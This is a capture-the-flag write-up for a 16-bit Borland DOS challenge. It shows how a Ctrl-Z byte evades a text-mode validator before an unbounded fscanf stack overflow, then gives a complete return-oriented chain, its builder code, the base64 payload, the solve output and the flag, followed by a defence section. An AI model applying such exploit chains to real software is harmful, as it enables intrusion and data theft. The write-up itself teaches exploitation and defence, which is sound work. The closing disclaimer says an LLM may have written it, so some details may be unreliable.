PwnFortID 2026
End of Life
A 16-bit DOS program validates its input in text mode but reads it in binary mode, so a Ctrl-Z byte hides an unbounded overflow. Chaining the program's own libc through it copies the flag into the harness's output.
What this one teaches
- Why checking a file in text mode and then processing it in binary mode is unsafe on old C runtimes: a Ctrl-Z byte (
0x1A) is end of file in text mode but ordinary data in binary mode, so the two reads disagree about where the content ends. - That
%[^ ]and%sconversions inscanf/fscanfhave no implicit width limit, exactly likegets, so an unbounded scanset read is as dangerous as any other unbounded copy into a fixed buffer. - How to build a return-oriented chain out of a program's own linked libc on a 16-bit real-mode target where
DSequalsSS, so every C library call is reachable as a near call with a stack pointer as an argument, with no shellcode and no segment leak.
Task description
MS Windows 10 has reached its end of life, but MS DOS is still going strong.
The task had no handout task.txt; the line above is the task’s own tagline.
What the service does
The handout is a 16-bit MS-DOS executable (CHALL.EXE) compiled with Borland C++ 3.0, its source CHALL.CPP, a RUN.BAT, and a server.py harness. The binary is a real MZ executable (its first two bytes are MZ, 14489 bytes) and carries the string Borland C++ - Copyright 1991 Borland Intl., which fixes the runtime it links against.
The harness base64-decodes whatever it is sent, writes it as INPUT.TXT, copies the real flag into a fresh temp directory as FLAG.TXT, and runs the program inside DOSBox against that directory:
tmp_dir = tempfile.mkdtemp(dir="./run")
shutil.copy("flag.txt", os.path.join(tmp_dir, "FLAG.TXT"))
shutil.copy("RUN.BAT", os.path.join(tmp_dir, "RUN.BAT"))
shutil.copy("CHALL.EXE", os.path.join(tmp_dir, "CHALL.EXE"))
# ... writes the base64-decoded bytes to INPUT.TXT ...
cmd = ["/usr/bin/dosbox", "-c", f"MOUNT C {tmp_dir}", "-c", "C:\\RUN.BAT"]
subprocess.check_output(cmd, env={"SDL_VIDEODRIVER": "dummy"})
# then reads OUTPUT.TXT back and base64-encodes it to us
RUN.BAT is three lines (C:, CHALL.EXE, EXIT), so DOSBox runs the program and quits. The program itself never reads FLAG.TXT. It reads INPUT.TXT and writes a single number to OUTPUT.TXT, which the harness returns. The task is to turn the program’s own input handling into code that reads FLAG.TXT instead and copies it into OUTPUT.TXT.
The bug
The whole program is short, and these are the two functions that matter, quoted from CHALL.CPP:
const int MAXLENGTH = 16;
int check_input() {
FILE *input = fopen("input.txt", "rt"); // text mode
int c, length = 0;
while ((c = fgetc(input)) != EOF) {
if (c < 'a' || c > 'z' || length >= MAXLENGTH) { fclose(input); return 0; }
++length;
}
fclose(input);
return length > 0;
}
void process_input() {
char name[MAXLENGTH + 1]; // 17 bytes
FILE *input = fopen("input.txt", "rb"); // binary mode
FILE *output = fopen("output.txt", "wb");
fscanf(input, "%[^ ]s", name); // unbounded copy
fprintf(output, "%d\n", strlen(name));
fclose(input); fclose(output);
}
Two bugs combine. First, check_input opens the file in text mode ("rt"), and in the Borland C runtime a 0x1A (Ctrl-Z) byte is treated as end of file in text mode. The validation loop only ever looks at the bytes before the first 0x1A, so a payload of a, then 0x1A, then anything, passes the “1 to 16 lowercase letters” check while hiding an unlimited tail behind it. Second, process_input reopens the same file in binary mode, where 0x1A is just a byte, and runs fscanf(input, "%[^ ]s", name). The %[^ ] scanset copies every byte that is not a space into name[17] with no width limit: a stack buffer overflow, with the only forbidden byte in the whole payload being 0x20 (space).
Why text mode and binary mode read different bytes, for a reader coming from another specialism
On DOS and classic Windows C runtimes, opening a file in text mode ("rt") is not just about line-ending translation. The runtime also honours the historic CP/M convention that 0x1A (Ctrl-Z, “SUB”) marks the end of a text file. So in text mode, fgetc returns EOF as soon as it hits a 0x1A, no matter how many bytes follow. In binary mode ("rb") that same 0x1A is ordinary data and the read continues to the real end of the file.
Here the validator reads in text mode and the processor reads in binary mode, so they genuinely see different content from the same file: the validator stops at the first 0x1A and approves the handful of lowercase letters before it, while the processor reads straight through and copies the whole file. Validate-then-process on the same input only protects you if both steps actually read the same bytes.
Why shellcode does not work here
Reading the MZ image statically (I parsed the header and section layout in Python) shows the program uses the small memory model: code lives in one segment (CS), data in another (DGROUP, which the C startup code also points SS at). Calls within the program are near calls, meaning a 2-byte return address with CS left unchanged. Overwriting that return address only changes IP; it cannot also change CS. Shellcode placed in the overflow lives in SS (the stack segment), a different segment from the one CS points at, so a near ret can never reach it without first learning the runtime value of a segment register. Rather than leak one, I used a technique that needs no segment value at all.
Near calls, far calls, and segments in 16-bit real mode
A 16-bit real-mode address is a pair: a 16-bit segment and a 16-bit offset, combined as segment*16 + offset. Code is reached through CS:IP, data through DS, the stack through SS:SP. A near call pushes and pops only the 2-byte offset (IP), staying in the current CS; a far call pushes both segment and offset. Because the overflow here only overwrites a near return address, the attacker controls IP but not CS, so execution has to continue inside the existing code segment. Jumping to attacker bytes in the stack segment would need the runtime SS value, which is not known ahead of time. The way out is to not jump to new code at all, and instead reuse the code that is already in CS.
Calling libc through the overflow
Because the Borland startup code sets SS equal to DGROUP (the same segment DS points at), every pointer into the stack is also a valid near, DS-relative pointer. So the program’s own linked library functions (fopen, fscanf, fprintf, fclose) can be called directly from the overflow, with arguments that point right back into the overflow itself. No shellcode and no segment leak needed: the chain is built entirely out of calls the binary already contains. This is return-oriented programming (reusing existing code fragments by controlling the stack of return addresses) on a target old enough that the entire C library is sitting in the same addressable segment as the stack.
The program’s own strings confirm which arguments can be reused versus which have to be supplied. Scanning CHALL.EXE in Python, the data segment holds input.txt, output.txt, rb, wb, rt, %[^ ]s, and %d, but it has no FLAG.TXT and no bare %s. So "rb", "wb", and "output.txt" are reused straight from the program’s data, while "FLAG.TXT" and the "%s" format string have to be written into the payload itself, since they just need to live somewhere DS-addressable, which the overflow already is.
The runtime data-segment offsets line up with the file, which let me corroborate the author’s recovered string constants without a 16-bit disassembler: the strings sit at file offsets 0x26b1 (rb), 0x26b4 (output.txt), 0x26bf (wb), and 0x26c2 (%[^ ]s), and subtracting a constant 0x25f0 from each gives DGROUP offsets 0xc1, 0xc4, 0xcf, and 0xd2, exactly the values the chain uses for rb/output.txt/wb and the %[^ ]s format argument the disassembly records in process_input’s frame.
The constants recovered from the disassembly (author's static RE, not re-derived here)
The call targets and gadgets below come from a Capstone (16-bit) disassembly of CHALL.EXE plus one instrumented run. The string offsets above corroborate the data-segment base they were read against.
- call targets
fopen/fscanf/fprintf/fclose=0x18bc/0x18f1/0x18db/0x161f; add sp, 6; retcleanup gadget at0x14a2(cleans each 3-word cdecl call frame);- clean exit path
push ax; call exitat0x158; nameis at[bp-0x12], savedBPtwo bytes above, near return address two bytes above that (overflow offsets 20 to 21 from the start ofname);BP = 0xFFF2, recovered by patching a disposable copy ofCHALL.EXEto printBPtoOUTPUT.TXTinstead of callingstrlen, which putsnameat0xFFE0, near the top of the 64 KB segment;- the program’s own two
fopencalls always take slots 5 and 6 of the runtime_streamstable, so the resultingFILE*values0x24cand0x25care predictable and need not be threaded through the chain by hand.
The chain, dropped in where the near return address used to be:
fopen("FLAG.TXT", "rb") -> FILE* slot 5 (0x24c)
fscanf(0x24c, "%s", buf) -> read the flag into buf
fopen("output.txt", "wb") -> FILE* slot 6 (0x25c), truncates OUTPUT.TXT
fprintf(0x25c, "%s", buf) -> write the flag
fclose(0x25c) -> flush and close, so OUTPUT.TXT hits disk
jmp 0x158 -> the program's own clean exit path
One detail the overflow has to work around: the buffer starts at 0xFFE0, so a chain long enough to hold five calls plus two embedded strings runs off the end of the 64 KB segment and wraps around to offset 0. That wrapped tail only overlaps the low end of the program’s own data, where nothing the exploit depends on lives (the reused strings and the _streams table sit higher up), so the wrap is harmless beyond a cosmetic Null pointer assignment warning at exit, a string that is itself present in the binary.
The payload
The payload is assembled by build.py: a 0x1A gate byte, filler up to the return address, the chain, and the two embedded strings placed at known DGROUP offsets:
FOPEN, FSCANF, FPRINTF, FCLOSE = 0x18bc, 0x18f1, 0x18db, 0x161f
CLEAN, EXITP = 0x14a2, 0x0158
S_RB, S_WB, S_OUT = 0x00c1, 0x00cf, 0x00c4
FP5, FP6, DUMMY = 0x024c, 0x025c, 0xffff
B = 0xFFE0 # name buffer, from BP-0x12 with BP=0xFFF2
chain = w(FOPEN) + w(CLEAN) + w(FLAGNAME) + w(S_RB) + w(DUMMY)
chain += w(FSCANF) + w(CLEAN) + w(FP5) + w(FMT) + w(BUF)
chain += w(FOPEN) + w(CLEAN) + w(S_OUT) + w(S_WB) + w(DUMMY)
chain += w(FPRINTF)+ w(CLEAN) + w(FP6) + w(FMT) + w(BUF)
chain += w(FCLOSE) + w(CLEAN) + w(FP6) + w(DUMMY)+ w(DUMMY)
chain += w(EXITP)
# data[0] = 'a' ; data[1] = 0x1A (passes check_input, hides everything after)
# chain placed at the saved-return-address offset (0x14 from name)
# FLAGNAME = b"FLAG.TXT\x00" ; FMT = b"%s\x00" embedded in the same buffer
Running that builder produces a 216-byte file whose first two bytes are 61 1A (a, then Ctrl-Z) and which contains no 0x20, so it passes check_input and survives the scanset. That is the literal INPUT.TXT, base64-encoded exactly as it goes on the wire:
YRpBQUFBQUFBQUFBQUFBQUFBQUG8GKIUKADBAP//8RiiFEwCNAA4ALwYohTEAM8A///bGKIUXAI0ADgA
HxaiFFwC/////1gBRkxBRy5UWFQAAAAAJXMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(The base64 is unwrapped on the wire; it is split here only to fit the page.) Fed through the real harness with a placeholder flag, this returns the placeholder cleanly in OUTPUT.TXT. Against the live service:
$ python3 solve.py <instance-host> 1337 --ssl
Enter contents for INPUT.TXT (base64):
Running /usr/bin/dosbox -c MOUNT C ./run/tmp79oeg2eq -c C:\RUN.BAT
Your OUTPUT.TXT: Rm9ydElEezNvRl8xNV9KVTU3XzRfNXU5OTM1NzFPbl80ODE1ODA1NDkzfQ==
Base64-decoding that OUTPUT.TXT gives the flag, which starts:
FortID{3oF_15_JU57_4...
The DOSBox run that produced the flag was against the live instance; no handout file echoes it back independently.
Defence
Validating a file in text mode and then consuming it in binary mode means the checker and the program can read different bytes from the same file. Check and process the file the same way, or just validate the exact bytes you are about to use. A scanset conversion like %[^ ] (or a bare %s) with no width limit is as unsafe as gets: bound it ("%16[^ ]") or use a safer input routine. More broadly, this target has none of the mitigations a modern binary would, no canary, no ASLR, no NX, and no enforced separation between SS and CS, and the loader places everything at the same address every run, which is exactly what let a return-oriented chain built from the program’s own libc work on the first try against the real service.
The flagReveal
FortID{3oF_15_JU57_4_5u993571On_4815805493}This CTF was possibly solved, and the writeup most likely written by an LLM. Apologies for inconsistencies.